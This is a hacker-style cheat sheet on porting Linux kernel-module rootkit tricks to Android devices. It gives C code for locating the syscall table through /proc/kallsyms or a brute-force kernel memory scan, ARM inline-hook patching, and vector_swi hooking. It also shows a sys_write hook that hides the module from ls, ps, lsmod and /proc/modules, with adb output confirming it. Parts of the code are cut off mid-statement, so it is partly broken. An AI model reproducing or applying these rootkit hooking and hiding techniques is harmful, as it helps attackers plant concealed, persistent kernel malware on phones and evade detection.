- Android LKM Cheat Shit - ...::: Porting old school LKM Tricks to Android Devices :::... 1.- References. 2.- Obtain syscall table address at runtime. 2.1.- System.map or kallsyms. 2.3.- Brute force search. 2.4.- Search through vector_swi. 3.- Hooking syscalls through syscall table and beyong. 3.1.- Direct. 3.2.- Inline. 3.3.- syscalls handler. 4.- Little tricks. 4.1.- Security through obscurity. ...::: Porting old school LKM Tricks to Android Devices :::... 1.- References. www.thc.org/papers/LKM_HACKING.html www.phrack.org/issues.html?issue=58&id=7#article infocenter.arm.com www.kernel.org 2.- Obtain syscall table address at runtime. 2.1.- System.map or kallsyms. Kernel symbol table can be at /proc/kallsyms and maybe we could have inside our target device the System.map file (or none of the above). In both of them we'll find three fields: value,type and name. 01234567 R foobar You can read about symbols types meanings at "man nm". So, to get sys_call_table address we can use regular (kernel related) file access methods. #define TOLOWER(x) ((x) | 0x20) #define LINE_SIZE 256 unsigned long *sys_call_table; /* Adapted vsprintf.c/simple_strt[ou]ll * hex string (without 0x) to unsigned long * simple_strtoll not define/exported on some kernel versions */ unsigned long symbvalue_toul(const char *cp) { unsigned long result = 0; while (isxdigit(*cp)) { unsigned int value; value = isdigit(*cp) ? *cp - '0' : TOLOWER(*cp) - 'a' + 10; if (value >= 16) break; result = result * 16 + value; cp++; } return result; } static int sct_ffs(char *fname) { struct file *fhandle; char buffer[LINE_SIZE]; char *pointer; char *line; mm_segment_t oldfs; int index; oldfs = get_fs(); set_fs (KERNEL_DS); fhandle = filp_open(fname, O_RDONLY, 0); if ( IS_ERR(fhandle) || ( fhandle == NULL )) return -1; memset(buffer, 0x00, LINE_SIZE); pointer = buffer; index = 0; while (vfs_read(fhandle, pointer+index, 1, &fhandle->f_pos) == 1) { if (pointer[index] == '\n' || index == 255) { index = 0; if ((strstr(pointer, "sys_call_table")) != NULL) { line = kmalloc(LINE_SIZE, GFP_KERNEL); if (line == NULL) { filp_close(fhandle, 0); set_fs(oldfs); return -1; } memset(line, 0, LINE_SIZE); strncpy(line, strsep(&pointer, " "), LINE_SIZE); sys_call_table = (unsigned long *) symbvalue_toul(line); kfree(line); break; } } index++; } filp_close(fhandle, 0); set_fs(oldfs); return 0; } Usually, we'll not find System.map file on our devices, because is not essential for their correct operation, however kallsyms file will be available on most of them (but probably this won't last forever). So, we need more stable ways to find sys_call_table address without the need for files. 2.3.- Brute force search. On the other hand, on x86 Linux systems, we can search through two known syscalls address, like loops_per_jiffy and boot_cpu_data syscalls. But again, we can't ensure that syscall table address will be located between two known functions along differente releases (linux x86 either). So, maybe the least bad solution could be scan the entire kernel space range (I know, I know, but i said 'the least bad', but still working on ARM systems). First, we need to know start and end addresses. # grep " _text\| _etext" /proc/kallsyms c0026000 T _text c02f6000 A _etext #define KSTART 0xc000000 #define KENDS 0xd000000 unsigned long *sys_call_table; static int sct_brutus(void) { unsigned long **potentially; unsigned long index; for (index=KSTART; index> 2) - 1; if (delta < 0) delta = delta | 0xFF000000; *(branch + 3) = 0xEA; *(branch + 2) = (delta >> 16) & 0xFF; *(branch + 1) = (delta >> 8) & 0xFF; *branch = delta & 0xFF; Unset: memcpy(open_original, original_bytes, 4); Perfect, again easy to do, and easiest to detect. When I say that is easy to detect, I'm thinking in sys_call_table and syscalls contents checksum. 3.3.- syscalls handler. And now, one step back, two steps forward. Systems calls are implemented through Software traps (swi instruction), and when swi instruction is called (among other things), CPU does PC = 0xFFFF0008 on hight-vector systems like Android or PC = 0x08 on low-vector systems. Vector table: arch/arm/kernel/entry-armv.S .globl __vectors_start __vectors_start: swi SYS_ERROR0 b vector_und + stubs_offset ldr pc, .LCvswi + stubs_offset b vector_pabt + stubs_offset b vector_dabt + stubs_offset b vector_addrexcptn + stubs_offset b vector_irq + stubs_offset b vector_fiq + stubs_offset .globl __vectors_end __vectors_end: So every system call is handled by vector_swi procedure. To hook any, we can patch vector_swi in our own way. NOTE: Looking into 'arch/arm/kernel/entry-common.S', you will see the sys_syscall entry, that also seems to control syscall calls, but in some systems is defined as obsolete (choose your option, patch vector_swi, sys_syscall or both or them). 4.- Little trick of the week. We can't cover more than one decade of LKM tips and tricks, it could be a great theme for future researchs, but for this cheat shit, hooking only one syscall, we can hidde our LKM from ls, ps, lsmod, dmesg, /proc/modules, /proc/kallsyms, etc... Obviously we are talking about sys_write if (strstr(buf, OUREGO)) { return count; } else { return orig_write(fd, buf, count); } audran@SaltLakeCity: $ ./adb shell ls /data/local | grep basic1 audran@SaltLakeCity: $ ./adb shell lsmod | grep basic1 audran@SaltLakeCity: $ ./adb shell ps | grep basic1 audran@SaltLakeCity: $ ./adb shell cat /proc/modules | grep basic1 audran@SaltLakeCity: $ ./adb shell cat /proc/kallsyms | grep basic1 More seriously way to do this, maybe hooking getdents64, read, write, kill, and patching linked list of loaded modules. So Still waiting. to come: - Persistence (Infections). - Bypass memory RDONLY protections. - Proof of Concept Kind Regards! - Eugenio Delfa -